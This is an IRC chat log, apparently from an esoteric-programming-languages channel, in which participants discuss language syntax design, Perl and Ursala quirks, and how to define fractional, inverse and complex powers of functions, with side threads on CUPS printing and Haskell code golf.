20:32:41 <b_jonas> on linux, I think it reads /proc
20:32:51 <ais523> by "most platforms" I mean "all Unices but Linux"
20:32:58 <b_jonas> ais523: yes, but so does ps
20:33:12 <b_jonas> maybe it differs on some modern ones
20:33:32 <b_jonas> reading /dev/kmem is the traditional way
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20:54:40 <hppavilion[1]> Should I make ¹²³ be postfix operators that power (for niceness), or should they be permitted to be at the end of names so you can have, for example, w¹?
20:58:06 <hppavilion[1]> ais523: That's not possible, even for a language like perl.
20:58:29 <ais523> for example, you could allow the subscripts to be part of the identifier only if the identifier had been declared
20:58:34 <ais523> and otherwise have them as operators
20:58:36 <b_jonas> I mean, it would be an esolang, but still
20:59:03 <hppavilion[1]> b_jonas: No, not even perl could do it; if we did both (and didn't allow other syntactic fixes) x³ as in x**3 would be ambiguous relative to x³ the name
20:59:09 <ais523> just like in Perl, if you declare a function then foo (with no punctuation around it) is a function call, otherwise it's a string literal
20:59:39 <ais523> apparently the actual official reason behind this feature is that it makes it easier to write Perl/poetry polyglots
20:59:49 <ais523> (where "poetry" is the literature/artistic concept, not an esolang)
21:00:00 <b_jonas> ais523: also builtins, but yes
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21:00:13 <ais523> foo isn't a builtin, I picked a concrete example for a reason :-)
21:01:45 <ais523> although some things that are builtins are surprising
21:01:50 <ais523> like Perl 6's ... operator
21:01:59 <ais523> which is either an eager or lazy exception, I forget which
21:02:04 <ais523> (intended use: sub foo { ... } )
21:02:09 <ais523> (for a function you haven't written yet)
21:05:28 <b_jonas> yes, that's a recent addition
21:09:28 <hppavilion[1]> \oren\: So is there a nice-looking way to represent augmented assignment with <- assignment?
21:10:38 <b_jonas> hppavilion[1]: do you mean like var +← val;
21:11:50 <b_jonas> well, I think K uses : for assignment, and var +: val for compound assignment iirc
21:13:41 <b_jonas> I don't know if there are apls that use +←
21:14:36 <hppavilion[1]> b_jonas: : might actually work... Especially because it's used in Dicts.
21:15:43 <b_jonas> hppavilion[1]: or, if you have no prefix operators, only postfix and infix, then ←+ could work too
21:16:20 <b_jonas> hppavilion[1]: also maybe .+← or ←.+
21:16:37 <b_jonas> where . stands for a method call such that .+ would do addition
21:16:55 <hppavilion[1]> b_jonas: I do have prefix, unfortunately. I think I might use :.
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21:18:37 <b_jonas> hppavilion[1]: or even ←;+ if ; is your method cascade marker?
21:18:54 <b_jonas> as long as that doesn't clash with other syntax of course
21:23:12 <ais523> have you seen the way Ursala does operator fixity?
21:23:27 <ais523> the whitespace around an operator determines whether it's infix, postfix, prefix, or unary
21:23:47 <b_jonas> ais523: yeah... ruby sometimes does that, and even perl does sometimes, in ambiguous situations
21:23:50 <ais523> and the four versions can have entirely unrelated meanings (although more commonly are various currying)
21:23:58 <ais523> also, operator precedence isn't transitive
21:24:26 <b_jonas> ruby has especially complicated rules where there's like three sets of nested exceptions so that it dwims on a negative number powered to something
21:24:31 <ais523> (it's been known for ages that you can parse grammars unambiguously even if operator precedence isn't transitive; however, mostly this was viewed as a quirk of the parsing algorithms rather than an actually useful feature)
21:25:33 <Melvar> I think the mixfix paper explained how to do nontransitive precedence with it …
21:26:14 <b_jonas> I prefer a solution where the arity of the operator is unambiguous anyway, because the syntax is like that
21:26:58 <ais523> b_jonas: have you seen Ursala at all
21:26:59 <b_jonas> oh, I wanted to ask a question from you about parsers too, but it's too late so some other time
21:27:03 <ais523> if not, you should at least look at some examples
21:27:13 <b_jonas> I haven't looked at it at all
21:27:18 <Melvar> b_jonas: Unambiguous at use site or only when including definition site?
21:27:22 <b_jonas> remind me later to look at it then
21:27:41 <ais523> unfortuately the website seems to be down
21:27:57 <ais523> but it basically reads as an esolang that's trying to market it as a non-esolang, and has a library collection competitive with Funge-98 but in different fields
21:28:41 <ais523> this seems to be relevant: http://www.bcs.org/category/10379
21:30:01 <ais523> also the site was http://www.basis.uklinux.net/ursala and is in the wayback machine at http://web.archive.org/web/20080329070617/http://www.basis.uklinux.net/ursala/ so you could look at it that way
21:30:44 <ais523> "Lessons learned from an unusual language" is the title of the seminar about it
21:31:34 <ais523> apparently it's inspired by "Squiggol" which I've never heard of
21:33:12 <ais523> actually this is a really good presentation for learning about what the language is like
21:34:27 <ais523> anyway it's fun to compare Ursala to Underlambda because they have several similar design goals and end up similar for that reason
21:34:50 <ais523> (although they're very different in some other respects, because of Underlambda's big defining property that it should be easy to write in and also easy to compile into very low-powered languages)
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21:58:51 <hppavilion[1]> Can functional powers be done with non-natural exponents?
21:59:37 <hppavilion[1]> For example, if f(x)=x+1, that means f**2(x)=f(f(x))=(x+1)+1=x+2
22:00:27 <hppavilion[1]> But what does f**0.5 mean? And while we're at it, f**-1, f**i and f**(1+i)
22:00:47 <hppavilion[1]> (And, I suppose, f**0, though I suspect that that f**0(x)=1)
22:01:44 <ais523> f**-1(x) is the inverse of f, which might or might not exist
22:01:49 <ais523> depending on what f does
22:01:54 <ais523> (and might be non-unique in some cases)
22:02:45 <shachaf> What does it mean to say the inverse isn't unique?
22:02:56 <shachaf> That it's just a left inverse or right inverse?
22:03:23 <ais523> shachaf: no, those only work on binary operators
22:03:39 <ais523> a unary function (i.e. one argument) doesn't have a "left inverse" and "right inverse"
22:03:47 <shachaf> I mean https://en.wikipedia.org/wiki/Inverse_function#Left_and_right_inverses
22:04:02 <shachaf> Would you prefer section/retraction?
22:04:03 <ais523> wait, it does have a preinverse and postinverse though
22:04:17 <ais523> but what I'm thinking of is, say, f(x) = floor(x/2) (for integral x)
22:04:36 <ais523> that is inverted by f**-1(x) = x*2, but it's also inverted by f**-1(x) = (x*2)+1
22:05:08 <shachaf> OK, so you mean right inverse.
22:05:15 <shachaf> Where f is surjective but not injective.
22:05:43 <ais523> I get confused because there are so many different ways to formalize what a function is
22:05:56 <shachaf> "every surjective function has a right inverse" is equivalent to the axiom of choice, which is kind of obvious when you see it but still neat.
22:05:59 <ais523> if you're composing them then they obviously have left and right inverses
22:06:09 <shachaf> Maybe you'd prefer "split epimorphism"?
22:06:16 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
22:06:23 <ais523> also trying to explain things in terms of category theory will just make things worse
22:06:46 <shachaf> I actually agree that "left inverse" and "right inverse" is confusing terminology, it's just what I've heard.
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22:07:26 <shachaf> We're talking about "right inverse" with respect to the binary operation of function composition, I think.
22:08:45 <ais523> these are clearly composition-based definitions
22:09:01 <ais523> if you think about functions in terms of application rather than composition, there's no left and right, just inside and outside
22:09:14 <ais523> (I used the composition-based version of all this in my thesis, but I wasn't happy about it)
22:11:41 <ais523> hppavilion[1]: you can see this very clearly in Underload
22:11:46 <ais523> the standard definition of 0 is !()
22:12:05 <ais523> which literally means "discard the argument, and replace it with the identity"
22:13:39 <FireFly> I don't think generalizing functional powers to non-integers make much sense, but if you do figure something out I'm curious to hear about it
22:14:40 <ais523> FireFly: 1/(1-x) is the cube root of the identity :-)
22:16:33 <hppavilion[1]> Well I'd say that to generalize it to integers is simple: f**x where x<0 is equivalent to iterating f**-1 |x| times.
22:17:14 <hppavilion[1]> shachaf: For any real number, really. But only the integers for now, because we haven't defined it for reals yet.
22:17:51 <hppavilion[1]> Now, function square root is a thing: g**1/2=f such that f(f(x))=g(x)
22:17:53 <FireFly> Raising a function to 0 or 1 is a somewhat common idiom for applying a function conditionally in J (and maybe APL, dunno)
22:18:13 <FireFly> (0 and 1 also double as boolean values)
22:18:41 <hppavilion[1]> So we can clearly generalize that to any arbitrary real number of the form 1/n where n is an item of R
22:20:53 <hppavilion[1]> Now, since any number x to the power of a rational of the form n/d (x**(n/d)) is equivalent to d√(x**n)
22:22:05 <hppavilion[1]> So in analogue to that, for a function g to the power of a real number n/d which is equivalent to f, f is a function such that f**n(f**n...(x))...)=g(x)
22:22:53 <hppavilion[1]> And, of course, if n/d is negative, it's quite simple: the above expression where n is negated.
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22:28:26 <hppavilion[1]> so for S**(-2/3)=f, f is equal to, I believe, S**-2(S**-2(S**-2(x))), where S**-2=(S**-1)**2, which means S**-1(S**-1(S**-1(S**-1(S**-1(S**-1(x))))))=P(P(P(P(P(P(x)))))) where P is the predecessor function (I assume S**-1=P), so S**(-2/3)(x)=x-6. Boom.
22:28:49 <hppavilion[1]> Next, we have to define f**i(x) if we want to generalize to the complexes.
22:30:28 <hppavilion[1]> Skipping that for now, since x**n*x**m=x**(n+m), and defining composition as function multiplication because that seems to make sense, we can deduce that f**(a+bi)(x) = f**a(f**bi(x))
22:31:05 <hppavilion[1]> Either that or function multiplication can just be defined such that f*g(x)=f(x)*g(x), but that's not as fun
22:31:22 <hppavilion[1]> FireFly: So really, all we need do is define f**i(x) and we're home free.
22:34:00 <FireFly> Uh, no clue what imaginary powers would be
22:34:13 <FireFly> the rationals is enough for m
22:34:29 <shachaf> f^i(f^i(x)) = f^-1(x), presumably
22:35:46 <hppavilion[1]> shachaf: But if we assume that composition is multiplication of functions, that poses a problem. x**n*x**m=x**(n+m), so that means that f**i(f**i(x))=f**2i(x)
22:36:53 <hppavilion[1]> FireFly: Also, I techncially covered the reals. You just have to round off the naturals, which is kind of how exponentation works anyway AFAICT
22:37:30 <FireFly> “A systematic procedure to produce arbitrary functional n-roots (including, beyond n= ½, continuous, negative, and infinitesimal n) relies on the solutions of Schröder's equation.[3][4] [5]”
22:37:41 <FireFly> You might want to read those (from the article on functional square root)
22:37:58 <FireFly> Hm, the first one is from 1870
22:38:02 <hppavilion[1]> FireFly: My system is either better or equivalent.
22:43:12 <hppavilion[1]> Wait, what if function multiplication is giving a function its arguments? At least, for the type func*tuple
22:53:12 <hppavilion[1]> ais523: I think the cube (or indeed, square or generally nth) root of the identity is the identity, as I(I...I(x)...)=I(x).
22:53:33 <ais523> hppavilion[1]: try calculating the third power of 1/(1-x) :-)
22:54:14 <ais523> (at least I think that's what it is)
22:54:19 <ais523> one of my favourite random mathematical facts
22:54:20 <hppavilion[1]> Wait, so 1/(1-x) is a convenient way to obtain EXACTLY the cube root of a number? Wait, that doesn't seem right...
22:55:16 <hppavilion[1]> I mean, any two rationals fed to division is a rational, and - is closed over the rationals, but there are rationals such that root(x, 3)(/-R
22:55:58 <hppavilion[1]> So the cube root of I(x) can't be 1/(1-x), at least not exactly. Thus, it'd be more accurate to say that the cube root of identity is just I.
22:58:35 <ais523> hppavilion[1]: no, not the third power of the result
22:58:36 <ais523> the third power of the function
22:58:53 <shachaf> Oh, that was meant to be a function, not an expression.
22:59:22 <shachaf> > let f x = 1/(1-x) in f (f (f x))
22:59:30 <ais523> here's an example, start with 5; after running the function once we get 1/-4 which is -¼; after running it twice we get 1/(5/4) which is 4/5; and after running it three times we get 1/(1/5) which is 5
23:02:20 <shachaf> ais523: So the algebraic data type L(a) = 1 + a*L(a)
23:03:31 <ais523> I'm not sure I understand
23:03:57 <shachaf> People talk about this thing where you represent the algebraic data type of lists as L(x) = 1/(1-x)
23:04:12 <shachaf> And you do a bunch of algebraic mafipulation and somehow it works out in the end.
23:04:22 <shachaf> E.g. when you take the derivative or that sort of thing.
23:04:39 <shachaf> Yes, you can expand it to a power series, 1 + x + x^2 + ...
23:04:46 <shachaf> Which is the obvious representation of lists.
23:05:15 <shachaf> But ais523 is saying that L^3 = I, so I'm wondering if that can be made to work here somehow.
23:06:03 <hppavilion[1]> Ok, I have an issue. I have two functions for the short article I'm writing on this, S and D. S(x)=x+1 and D(x)=2x. I also have the auxilliary functions sS(x)=x+0.5 and sD which are to be used to demonstrate square roots of functions. What I'm trying to find is what sD(x) is equal to; currently it's sqrt(2*x), but that doesn't seem right because sqrt(xy)=sqrt(x)*sqrt(y) and thus it seems wrong. I think. Actually, it's
23:06:55 <hppavilion[1]> shachaf: Tried that, but sqrt(2)*x seems to equal 2(x**2)
23:08:25 <shachaf> > let f x = sqrt 2 * x in f (f x)
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23:09:01 <hppavilion[1]> (sqrt(x)*sqrt(y))**2=sqrt(x)*sqrt(x)+sqrt(x)*sqrt(y)+sqrt(y)*sqrt(x)+sqrt(y)*sqrt(y)=x+sqrt(x)*sqrt(y)+sqrt(x)*sqrt(y)+y=xy+sqrt(xy)+sqrt(xy)=xy+2(sqrt(xy))
23:09:05 -!- hin has changed nick to shikhin.
23:09:34 <shachaf> I have no idea what you're getting at now.
23:10:00 <shachaf> I'm saying that sD(x) = sqrt(2) * x, so that sD(sD(x)) = sqrt(2) * sqrt(2) * x = 2*x
23:10:46 <hppavilion[1]> Hard to read, yes, but the gist is that sqrt(xy)**2 is equal to (sqrt(x)*sqrt(y))**2 is equal to xy+2(sqrt(xy))
23:12:15 <hppavilion[1]> I was doing (sqrt(x)+sqrt(y)**2 instead of (sqrt(x)*sqrt(y)**2
23:12:17 <shachaf> Anyway you can make some sort of relationship between S^n and D^n using log2, probably.
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23:13:37 <hppavilion[1]> So I guess sqrt(2)*x it is. Really hope that math is right xD
23:13:49 <shachaf> It isn't difficult to verify.
23:13:55 <shachaf> A lot less work than what you were doing there.
23:14:26 <shachaf> Why does "geometric" mean "with multiplication"?
23:15:54 <Phantom_Hoover> shachaf, because scaling is very natural in geometry i guess
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23:18:32 <shachaf> Aw, no answer from ais523. Maybe I should ask in #haskell or something.
23:18:39 <hppavilion[1]> Wait, I think I've found a problem with composition being function multiplication. Consider f(x)=x+1 and g(x)=2x. If composition is function multiplication, (f∘g)(x)=2x+1, so (f∘g)(3)=7, but (g∘f)(x)=2(x+1), so (g∘f)(3)=8. Therefor ∘ is noncommutative
23:18:47 <hppavilion[1]> Wait, matrix multiplication isn't commutative either
23:19:00 <shachaf> Matrix multiplication is function composition.
23:19:21 <shachaf> A matrix represents a linear function.
23:19:29 <hppavilion[1]> Is a matrix secretly a function? By that logic, couldn't any value be considered a function?
23:19:29 <shachaf> Matrix multiplication represents composition of linear functions.
23:19:40 <shachaf> It's not so secret in the case of the matrix.
23:20:21 <Phantom_Hoover> quaternion multiplication is also function composition
23:20:24 <shachaf> It's not a trick like the what's-it-called representation.
23:20:51 <zzo38> How can you tell CUPS to display what it will do to print the given input (what filters and so on are used, etc) but not send to printer? Also how can you tell CUPS to print to file?
23:20:52 <Phantom_Hoover> though i mean every group can be realised as function composition
23:21:02 <lambdabot> hppavilion[1] said 4d 2h 4m 58s ago: Found an article on how type systems are logics: https://codewords.recurse.com/issues/one/type-systems-and-logic
23:21:08 <shachaf> Cayley, that's it. Presumably what Phantom_Hoover is talking about.
23:21:38 <shachaf> Except you can do it for monoids, not just groups.
23:23:32 <int-e> nor for units. nor for associativity...
23:23:55 <shachaf> Well, monoids are the natural place to do it.
23:24:40 <hppavilion[1]> So how does g**-1 work when g takes multiple arguments? I suppose it could be that if g takes multipile arguments and returns an argument of type t, g**-1 could accept a single argument (of type t) and return a tuple of the arguments g would take to yield that
23:25:20 <shachaf> Functions only take one argument.
23:25:53 <hppavilion[1]> Essentially, if g(1, 2) = 3 and g(4, 5)=3, then g**-1(3) = {(1, 2), (4, 5)}
23:26:38 <shachaf> You can just have a function from a product.
23:27:29 <hppavilion[1]> shachaf: You mean a function that just accepts an n-tuple?
23:27:51 <int-e> Meh, do the Foglios wa
23:27:59 <hppavilion[1]> You /could/ do that, OR you could do it the fun way and just interpret them as having multiple arugments
23:28:26 <int-e> ... want to kill us with the suspense of an impending wasp attack in Paris?
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23:42:49 <zzo38> Also how to override the MIME type of the input with CUPS?
23:43:49 <hppavilion[1]> Should I use Roman Numerals or Arabic Numerals as the page numbering for a LaTeX document I'm working on?
23:45:06 <hppavilion[1]> I'm practicing my LaTeX (and making myself seem smarter) by making a little mathematics PDF on Function Arithmetic.
23:45:31 <hppavilion[1]> I think I'll call functions "Functia" for the entire article because why the hell not?
23:47:09 <FireFly> Hmm, I should catch up with GG
23:47:32 <FireFly> It was fun to read until I got up to speed with the comic.. then I kind-of forgot about it
23:51:17 <tswett> hppavilion[1]: the Esoteric Language Council approves of this usage of "functia".
23:54:52 <tswett> The Esoteric Language Council's position on this question is that yes, we do.
23:55:39 <hppavilion[1]> What's the name again for functions that have conditions in them? That is, functions with "if x=2" and the like.
23:56:16 <hppavilion[1]> I was going to use it in my Arithmetic of the Functia, but then I realized hyperoperations for demonstration of basic functions is a bad idea
23:56:56 <int-e> fungot: where are you?
23:57:06 <zzo38> My own computer does not have the "--list-filters" option of "cupsfilter" program
23:57:20 <tswett> hppavilion[1]: piecewise.
23:58:18 <hppavilion[1]> I need a good, simple, 2-argument function for my Arithmetic of Functia. A(x, y)=x+y is already used. I don't just want to do M(x, y)=xy. Anyone have any good ideas? Perhaps a famous but simple function?
23:58:58 <hppavilion[1]> One that I can evaluate for two naturals (including 0) <= 4 in my head while writing the document? xD
23:59:22 <hppavilion[1]> It need not be piecewise, but that'd add some nice variety
23:59:51 <hppavilion[1]> (And noone suggest Ackermann. Just no. I don't think it's even /possible/ to do that in one's head.)
00:03:03 <tswett> Ooh, and don't forget:
00:03:22 <tswett> Call it the... twexply function!
00:05:05 <tswett> x, or, equivalently, y.
00:06:25 <tswett> Or, if you want to throw a wrench in the monkey works, use the "chamfered max" function.
00:06:40 <tswett> If x > y, returns x. If y > x, returns y. If x = y, returns x+1, or, equivalently, y+1.
00:09:17 <hppavilion[1]> tswett: Here's an idea for a variant of max(x, y) where "it just returns the value" is /not/ the logical output. far(x, y)
00:17:02 <tswett> And what would that be?
00:17:36 <zzo38> Why does CUPS convert the PBM to PDF and then to PostScript and then to ZjStream format when printing my document rather than just converting it directly?
00:19:09 <tswett> Right, and the question is, what does it return if they have the same magnitude, opposite signs?
00:19:42 <hppavilion[1]> tswett: Exactly. It's fairly simple if it's max(), but not if it's this.
00:21:45 <hppavilion[1]> What does f**-1(x) return if f has multiple values that equal x?
00:26:48 <shachaf> I say that f^-1 only exists if f is a bijection.
00:28:00 <shachaf> It works for any surjection.
00:30:04 <hppavilion[1]> Oh. I think I'll just stick with that one for mine.
00:30:27 <shachaf> Wait, it works for any function, not just surjections.
00:33:52 <\oren\> hi[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~
00:34:30 <\oren\> wtf where did [6~ come from
00:35:56 <int-e> lots of misinterpreted "page down"s?
00:36:55 <\oren\> weird i don't know why irssi did that
00:37:37 <int-e> It sometimes does such things to me on laggy connections. Screen might play a role in that as well.
00:40:08 <Taneb> Final round of try-outs for my uni's University Challenge team is tomorrow...
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00:41:17 <tswett> hppavilion[1]: I'd say there are two variants of the ^-1 operator.
00:42:04 <tswett> The first variant returns a single value, and is only defined for functions that are one-to-one. f can't have multiple values that equal x; by definition, such a function would not be one-to-one.
00:42:25 <tswett> The second variant is defined for all functions, and *always* returns a set, even if it happens that f only has one value that equals x.
00:42:33 <shachaf> If "one-to-one" means injective, that's not enough.
00:42:35 <tswett> In which case it returns a set containing that one value.
00:42:58 <tswett> I do mean injective, and I guess the ^-1 would have a restricted domain for a non-surjective function.
00:42:58 <\oren\> am I the only one who hates hates hates the ^-1 notation for function inversion?
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00:43:14 <tswett> If you mean the ASCII version of it, it's pretty dang bad.
00:43:31 <\oren\> no even in typeset math I hate it
00:45:05 <\oren\> because of how sin^2 x means (sin(x))^2 and sin^-1 doesn't
00:45:28 <shachaf> sin^2(x) should mean sin(sin(x))
00:45:34 <shachaf> That's the one that's broken.
00:48:40 <\oren\> that kind of makes sense. actually maybe it's just the trig functions which break a lot of rules. i mean why is it it sin x but g(x)?
00:49:26 <\oren\> damn math profs too lazy to write a couple brackets
00:52:04 <int-e> > (sin 2^2, (sin 2)^2)
00:52:06 <lambdabot> (0.826821810431806,0.826821810431806)
00:53:06 <int-e> ugh... I don't particularly like that num instance... why does lb have it?
00:53:56 <hppavilion[1]> What form of the multiplication operator should I use?
00:55:50 <lambdabot> arising from a use of ‘show_M708850256494014920331324’
00:55:50 <lambdabot> The type variable ‘a0’ is ambiguous
00:58:05 <shachaf> int-e: i imported it sttdnh
01:00:34 * int-e is still occasionally amazed by how much crap lambdabot depends on
01:02:39 <int-e> shachaf: not sure what the "st" means there.
01:03:07 <shachaf> originally i typed httdnh but that seemed a bit mean
01:04:25 * int-e is in no mood for guessing
01:08:43 <int-e> seems that that did not help?
01:09:18 <int-e> hmm, now that I've typed it it looks reasonable
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01:54:12 <hppavilion[1]> \oren\: I need a symbol for the inverse of function composition. Do you know of one?
01:57:29 <hppavilion[1]> I think I'll use □ because it makes sense; circle for composition, square for disposition.
02:07:24 <quintopia> you can decompose a composed function?
02:09:07 <hppavilion[1]> In my system, function composition is equivalent to multiplication
02:09:49 <hppavilion[1]> I realized something after thinking about function powers and about regular powers
02:10:05 <hppavilion[1]> f^0=I (I is the identity function, which is the compositional identity)
02:11:12 <hppavilion[1]> So, I figured, f^-1 must equal I/f, or using the proper disposition operator, I □ f
02:13:34 <hppavilion[1]> I would say you just divide x (where x is from I(x)) by the definition of the original function (with the one variable being x), but that forms a problem for pairs of functions with differing numbers of arguments, piecewise functions, and primitive functions
02:18:32 <quintopia> but compositon is not associative is it?
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02:19:00 <quintopia> it doesnt make sense to call a nonassociative operation multiplication
02:19:38 <hppavilion[1]> quintopia: There's Octonion multiplication, which isn't associative
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02:20:10 <quintopia> and i've always thought octonions were weird
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02:21:18 <quintopia> do octonions define a multiplicative inverse?
02:21:53 <quintopia> obvi a noncommutatie op has two inverses
02:23:07 <hppavilion[1]> Well there may be another inverse for it that I don't know about
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03:40:21 <FireFly> Hmm, function composition isn't associative?
03:47:00 <zzo38> This is one of idea I have of Magic: the Gathering cards: "If your life total is exactly 666, you win the game."
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03:47:57 <shachaf> Seems like Felidar Sovereign would be easier in most cases.
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03:52:03 <zzo38> Yes, although the one I had made up it costs only one mana and has split-second, but it is a sorcery and black and madness
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04:33:09 <hppavilion[1]> quintopia: So my next step is to have functions to the powers of other functions xD. Either that or another arithmetic operation, involving a function as one argument and either a function or a general number as its other
04:37:17 <zzo38> Why do I get SIGILL signals in the _dl_fixup() function?
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04:53:42 <zzo38> I think popen_noshell confuses gdb
04:57:08 <hppavilion[1]> Arithmetic of the functia is going well, but I've encountered an issue for complex powers of functions. Here's what I have so far: https://drive.google.com/file/d/0ByRvNdqqy3GPd3FxdmRrbnF5eE0/view
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05:03:40 <zzo38> It doesn't load a PDF, just the login screen
05:04:13 <izabera> for i in {0..99};do for j in {0..90};do if ((i/10+i%10+j/10+j%10<19));then printf x;else printf \ ;fi done;echo;done
05:05:24 <izabera> dammit, should have been for j in {0..99}
05:06:47 <izabera> make a simple iterated function
05:07:05 <hppavilion[1]> (I just need to know how I do f**i; I'd /prefer/ to just know how to do f**i so I cn figure it out myself)
05:07:46 <hppavilion[1]> izabera: I'm making an Arithmetic of the Functia that supports function exponents and need to figure out how to generalize it to complex numbers xD
05:09:16 <zzo38> Maybe you need to mark such file as public?
05:09:32 <izabera> i don't know much about what you're doing but one "standard" approach is to try to reduce your function to stuff that you can do with complex numbers
05:11:34 <izabera> e.g. you don't know how to compute exponentiation? ok, e^x can be expressed as an infinite sum of x^k/k! with k from 0 to infinity
05:11:45 <izabera> so let's use this to express e^ix
05:12:35 <izabera> (not sure if expressed is the right word)
05:13:49 <izabera> or you can try to find a complex valued function that happens to have the same values as your function on real numbers
05:14:49 <hppavilion[1]> izabera: I'm discussing things like f**i(x), not f(x)**i or the like. It's similar to f**-1(x), but generalized to the complexes
05:17:06 <hppavilion[1]> izabera: But f^n has already been generalized to the integers and to reals of the form 1/n where n is an integer; I trivially extended it to any real number and am now trying to generalize it to the complexes
05:17:16 <hppavilion[1]> I should probably figure out imaginary powers first xD
05:18:21 <hppavilion[1]> The problem I thought of though is that . (composition) isn't commutative, and the complex power f^(a+bi) will surely be defined as f^a . f^(bi), and that's problematic as + has to be commutative I'm pretty sure
05:19:26 <izabera> why wouldn't it be commutative?
05:20:17 <izabera> anyway, keep in mind that a^b == e^(log(a)b)
05:21:23 <hppavilion[1]> izabera: Multiplication of functions is the same as Composition in my AotF
05:22:19 <hppavilion[1]> izabera: It's me being stupid and generalizing inverse functions into functions to the power of complex numbers
05:22:44 <hppavilion[1]> And functions divided by other functions. Which actually works, believe it or not.
05:23:05 <hppavilion[1]> Sgeo_: I would like to find what happens when I raise a function to a c@mplex number xD
05:24:00 <hppavilion[1]> izabera: What I've been trying to figure out is how you iterate a function over a complex number
05:25:03 <hppavilion[1]> izabera: If you want more information on the AotF, here's a PDF: https://drive.google.com/file/d/0ByRvNdqqy3GPd3FxdmRrbnF5eE0/view
05:25:37 <hppavilion[1]> https://drive.google.com/file/d/0ByRvNdqqy3GPd3FxdmRrbnF5eE0/view?usp=sharing
05:27:15 <izabera> not sure why but the text is in a really light grey over a white bg
05:27:52 <hppavilion[1]> izabera: No clue. It isn't on my end; could be your <whatever>. I made it in TeX. It's currently incomplete.
05:27:54 <izabera> i must have messed up something in firefox
05:28:21 <Jafet> hppavilion[1]: http://mathoverflow.net/questions/71429/do-complex-iterates-of-functions-have-any-meaning
05:28:47 <Sgeo_> hppavilion[1], we didn't even figure out how to take the absolute value of c@mplexes, did we?
05:29:44 <Sgeo_> I just remember shooting down one of my approaches, unsure about the other and unsure about tswett's
05:30:28 <hppavilion[1]> I just changed the official author of AotF to Hedwig Notta, included myself as translator
05:30:30 <izabera> mathoverflow isn't stackoverflow
05:33:13 <hppavilion[1]> Jafet: I began to read that, and now I've given up xD
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05:40:36 <izabera> meanwhile, my trackpad decided to go nuts
05:56:05 <FireFly> > take 4 . map (take 5) $ iterate (tail . (`iterate` 1) . (!!)) [1..]
05:56:07 <lambdabot> [[1,2,3,4,5],[2,3,4,5,6],[3,5,7,9,11],[5,13,29,61,125]]
05:56:25 <izabera> haskell is so easy to understand
05:56:37 <FireFly> well, it's not the most readable Haskell
05:57:00 <FireFly> it's an infinite-list-of-lists formulation of the Ackermann function
05:57:46 <FireFly> Dunno, but there is at least such a thing as *more* readable Haskell (than this)
05:57:48 <Jafet> A rather inefficient one, judging by the (!!)
05:58:02 <izabera> hah! unreadable and inefficient
05:58:04 <FireFly> Right, codegolf was the goal
05:58:43 <izabera> > take 4.map(take 5)$ iterate(tail.(`iterate` 1).(!!))[1..]
05:58:45 <lambdabot> [[1,2,3,4,5],[2,3,4,5,6],[3,5,7,9,11],[5,13,29,61,125]]
05:59:11 <FireFly> no, you can remove them (apart from the one between 'take' and '4' of course
05:59:32 <izabera> isn't that the most obvious thing to do with codegolf
06:00:21 <izabera> so obvious it's boring? fair i guess
06:01:20 <FireFly> Yeah, iterate(tail.(`iterate`1).(!!))[1..] is the actual list-of-lists
06:09:25 <hppavilion[1]> "Porn Logic" would be an interesting humorous (albeit a bit inappropriate) formal logic.
06:11:57 <Jafet> Presumably read as "XX moves towards XY".
06:13:01 <hppavilion[1]> Also available is Troll Logic; x -> y, ∴santa <=> your parents
06:30:02 <hppavilion[1]> Jafet: Well I suppose it'd have to be a modal logic...
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06:49:47 <\oren\> nah, pron logic is more: "She doesnt have money to tip the pizza dude" -> "she must pay with her body"
06:51:50 <\oren\> e.g. it's a branch of the pre-Boole non-algebraic logic
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07:41:57 <quintopia> hppavilion[1]: i think it is insane to have a complex-exponent of a function
07:42:43 <hppavilion[1]> It doesn't make too much sense when you consider the commutatiy-of addition, noncommutativity-of-composition issue
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07:53:44 <izabera> what if she does have money to tip the pizza dude
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08:04:09 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45579&oldid=45552 * Quintopia * (-48) /* Python 2 */ removed some unnecessary crap (tho more remains I think?)
08:05:55 <hppavilion[1]> quintopia: Should I make ‰ the "Supermodulus" in Kastor?
08:07:18 <hppavilion[1]> \oren\: ‰ looks a helluva lot like % in neoletters
08:10:45 <hppavilion[1]> @tell \oren\ ‰ looks a helluva lot like % in neoletters
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08:21:40 <zzo38> I made up the one to one correspondence of natural numbers with finite lists of natural numbers, which is sequence starting with: [] [0] [1] [0,0] [3] [0,1] [2] [0,0,0] [7] [0,3] [1,0] [0,0,1] [5] [0,2] [2,0] [0,0,0,0] [15] [0,7] [1,1] [0,0,3] [4] [0,1,0] [2,1] [0,0,0,1] [11] [0,5] [1,0,0] [0,0,2] [6] [0,2,0] [2,0,0] [0,0,0,0,0] [31] [0,15] [1,3] [0,0,7] [3,0] [0,1,1] [2,3] [0,0,0,3] [9]
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08:22:20 <zzo38> Do you like this? Is there a better way?
08:24:56 <zzo38> We can see what kind of properties it has, and possibly other ways you can even come up with such the same thing rather than only how I did it at first.
08:27:10 <izabera> [] [0] [1] [0,0] [0,1] [0,2] [1,0] [1,1] [1,2] [2,0] [2,1] [2,2] [0,0,0] ...
08:28:16 <izabera> [] [0] [1] [0,0] [0,1] [0,2] [1,0] [1,1] [1,2] [2,0] [2,1] [2,2] [2] [0,0,0] ...
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08:32:09 <hppavilion[1]> Is there some form of hypermodulus out there that works for hyperoperation inverses where n>=3?
08:32:19 <izabera> enumerate all the sequences of 0..n of size at most n, then n++, repeat
08:32:47 <hppavilion[1]> For example modulog(9, 2)=1 because 2**3=8 and 9=8-1
08:33:33 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45580&oldid=45570 * Quintopia * (+1160) Removed 0 instruction just because it wasn't strictly necessary.
08:34:29 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45581&oldid=45580 * Quintopia * (+0) lol, it hadn't even been invented yet!
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08:43:11 <zzo38> How I defined it is: Each element in the list is you write the number one more than that in base two and then add however many leading zeros is one less than how many bits in that number, and then put all of them together and then reverse the bits.
08:45:56 <HackEgo> [wiki] [[Point operator]] N http://esolangs.org/w/index.php?oldid=45582 * Hppavilion1 * (+1823) Created Page
08:47:10 <HackEgo> [wiki] [[Point operator]] http://esolangs.org/w/index.php?diff=45583&oldid=45582 * Hppavilion1 * (+1) Fixed a link
08:48:06 <HackEgo> [wiki] [[Point operator]] http://esolangs.org/w/index.php?diff=45584&oldid=45583 * Hppavilion1 * (-4) Delinked
